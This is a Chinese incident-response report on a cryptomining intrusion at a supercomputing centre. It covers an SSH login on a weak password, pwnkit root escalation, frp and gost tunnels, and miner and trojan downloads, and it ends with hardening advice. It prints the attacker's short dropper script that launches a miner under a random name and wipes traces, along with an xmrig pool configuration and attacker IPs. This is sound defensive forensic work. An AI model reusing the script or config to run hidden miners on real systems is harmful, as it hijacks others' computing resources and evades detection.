事件背景
根据某省超算平台中心应急响应工作要求,针对超算中心提供的超算平台服务器(172.16.0.x)及相关服务器进行安全事件应急响应,目标是发现此次挖矿事件中被黑客利用的漏洞和系统脆弱点,还原整个攻击过程,恢复服务器正常业务运转,并提供应急响应报告和系统整改意见。
采用的技术方法
本次应急响应将采取以下技术方法:
| 方法 |
说明 |
| 日志分析 |
通过对应用、系统、中间件和安全设备等日志进行分析,发现攻击痕迹与可疑行为,定位安全隐患和攻击路径。 |
| 攻击溯源 |
根据攻击者在服务器上留下的痕迹(如系统日志)进行逐步分析,还原其攻击路径和利用的漏洞。 |
| 程序沙箱分析 |
对发现的恶意程序进行沙箱和代码分析,识别其恶意逻辑,为清除病毒、恢复业务提供依据。 |
常用应急工具
在实际的应急响应过程中,通常会借助以下工具:
| 工具类型 |
应急工具名称 |
| 日志分析 |
LogViewPro, Papertrail, ELK Stack 等 |
| 后门与webshell扫描 |
D盾, WebShellKiller 等 |
| 攻击溯源 |
Wireshark, Dsniffer, LogViewPro 等 |
| 恶意程序分析 |
IDA Pro, WinHex 等 |
| 漏洞验证 |
Metasploit, sqlmap, BurpSuite, CVE利用脚本等 |
事件分析与溯源过程
2025年08月27日09:30到达客户现场。经沟通,客户已采取以下初步处置措施:
- 中断受害服务器(172.16.0.167)的互联网连接。
- 通过出口防火墙(山石)对SSH端口访问进行限制。
- 已对172.16.0.167服务器进行过两轮人工查杀。
1. 初始告警与攻击源定位
首先查看态势感知系统告警,发现在8月16日19:45分出现了关于frp代理工具的高危告警。

告警显示攻击IP为 45.79.108.110。通过威胁情报查询,该IP地理位置在美国加利福尼亚州,并被标记为反向代理或FRP工具。

2. 攻击者初期活动轨迹
调取8月16日全量日志进行回溯分析:
- 19:17:服务器
172.16.0.167访问了 cip.cc 域名,这通常是攻击者获取服务器公网IP地址的行为,表明此时攻击者已获得服务器权限。

- 19:23:攻击者控制服务器访问
39.106.248.18,下载了两个压缩文件:l1.tgz 和 l.tgz。


3. 第一阶段工具植入分析
对下载的文件进行解压分析:
l.tgz 文件:解压后得到 l.tar,继续解压得到 lan 文件夹。其中包含内网代理工具 frpc,其配置文件显示已设置SSH端口转发(remote_port=2334),指向一个境外服务器 178.254.22.168:8081。

l1.tgz 文件:解压后得到 l1.tar,其内容为 Localroot-ALL-CVE 文件夹,内含大量针对不同年份和系统的Linux本地提权漏洞利用脚本。

4. 攻击持续与第二阶段载荷投递
日志显示,自19:24分起,服务器 172.16.0.167 开始与攻击IP 45.79.108.110 建立持续连接,意味着frp代理隧道已成功建立。

至 20:02 左右,攻击者再次从 39.106.248.18 下载了新的文件:g.tgz 和 tunnel。

在下载过程中,本地杀毒软件实时拦截并报告 g.tgz 为比特币挖矿病毒。

5. 挖矿病毒与隐藏手段分析
取回被拦截的 g.tgz 文件进行分析:

- 沙箱分析确认
mihner 为 CoinMiner 家族挖矿程序。

go 文件是一个Shell脚本,功能是:生成随机文件名,复制 mihner 挖矿程序并以随机名称运行,然后删除原始病毒文件以清除痕迹。
#!/bin/sh
dir=$(pwd) 2>/dev/null
rand=$(cat /dev/urandom | tr -dc 'a-z0-9' | fold -w 12 | head -n 1) 2>/dev/null
cp $dir/mihner $dir/$rand 2>/dev/null
./$rand -lan 10.10.10.100:443 -r -c -k -h $rand
rm -rf $rand mihner go g.tgz 2>/dev/null
同时,对 tunnel 文件分析确认其为红队常用的 gost 代理工具,用于流量转发。

6. 挖矿行为验证
日志分析发现,从 20:03 开始,服务器开始连接两个矿池地址:45.33.69.138 和 192.81.128.77。

威胁情报显示,这两个IP均为已知的公共矿池。


7. 后续持久化与隐藏操作
- 20:15:攻击者从
97.107.137.164 和 39.106.248.18 下载了 cart.tgz 文件。

解压后得到 top、uptime、w 三个文件,推测意图是替换系统同名命令,实现驻留隐藏。

沙箱分析确认这三个文件均为 DropPerl 家族木马,具有信息收集和隐藏自身行为的特性。



- 20:09:攻击者从
39.106.248.18 下载了 proxy2022.tgz 文件,杀软再次报毒。


分析发现,该文件实为门罗币(XMR)挖矿程序 xmrig,其配置文件中包含了攻击者的钱包地址和矿池信息。
...
"pools": [
{
"algo": "rx/0",
"coin": null,
"url": "199.247.0.216:10128",
"user": "42tGCaozbTPj3rgikVBb8iEBem23cBnx6N1BhAcKZZVLXMt5wAFSTKWfTIL6dm356bnZxo2rwZcaGYYSqoURCZ1yU6vjKrsq",
"pass": "G",
...


态势感知系统也捕获到了相关的挖矿行为告警。

8. 攻击入口溯源(登录与提权)
根据 frp 代理开始活动的时间点(19:24),回溯服务器 172.16.0.167 的系统认证日志 (/var/log/secure 等)。
发现关键记录:在 19:16:24,账号 sc13003 使用了 pwnkit 提权工具。

进一步检索 sc13003 账号的所有日志,完整攻击链如下:
- 19:15:40:攻击者从IP
47.94.16.87 通过SSH密码登录 sc13003 账号。
- 19:16:开始使用
pwnkit 进行提权操作。
- 19:27:重新登录并再次提权,成功获取
root 权限。随后,攻击者利用 root 权限切换 (su) 到多个其他用户账号(如 chenzl, nano005 等)。
- 20:52:
sc13003 账号登出。

此外,日志还显示在 23:02,另一个账号 sc13089 也存在 pwnkit 提权行为,攻击IP同样为 47.94.16.87。

追溯 sc13089 账号,发现其攻击始于8月16日 23:01,并持续活跃至8月17日凌晨 01:56。

事件完整结论
通过对日志、文件和行为的关联分析,本次超算中心挖矿事件的完整攻击链得以还原:
- 初始入侵:8月16日 19:15,攻击者通过IP
47.94.16.87 爆破或利用弱口令,成功SSH登录用户 sc13003。
- 权限提升:登录后立即使用
pwnkit 本地提权工具获取 root 权限。
- 信息收集:19:17,通过访问
cip.cc 探测服务器公网IP。
- 工具投递:19:23,从阿里云服务器
39.106.248.18 下载 frp 内网穿透工具 (l.tgz) 和Linux提权脚本合集 (l1.tgz)。
- 建立隧道:19:24,启动
frp 客户端,建立反向代理隧道,实现持久化访问。
- 部署挖矿:20:02,通过隧道下载
g.tgz (含 mihner 挖矿病毒和启动脚本) 和 gost 代理工具 (tunnel)。
- 启动挖矿:20:03,执行挖矿脚本,开始连接境外公共矿池
45.33.69.138 和 192.81.128.77。
- 增强隐藏:20:09 和 20:15,分别下载门罗币挖矿程序 (
proxy2022.tgz) 和用于替换系统命令的后门文件 (cart.tgz),意图长期驻留并隐藏挖矿进程。
- 横向移动:攻击者在获得
root 权限后,尝试切换至系统内其他用户账号。
- 持续攻击:当晚 23:01,攻击者使用同一IP (
47.94.16.87) 入侵另一账号 sc13089 并提权,活动持续至次日凌晨。
本次事件是一起典型的利用弱口令或SSH暴力破解获取初始访问权限,进而提权、建立隧道、投递挖矿病毒并尝试持久化的安全攻击。

此次应急响应过程展现了从告警触发、日志分析、文件溯源到行为还原的完整链条。对于企业和机构而言,强化SSH口令策略、部署网络层入侵检测系统(如识别异常外联和代理工具流量)、建立完善的日志分析与监控体系至关重要。更多关于安全运维的实战讨论,欢迎访问云栈社区的相关板块进行交流。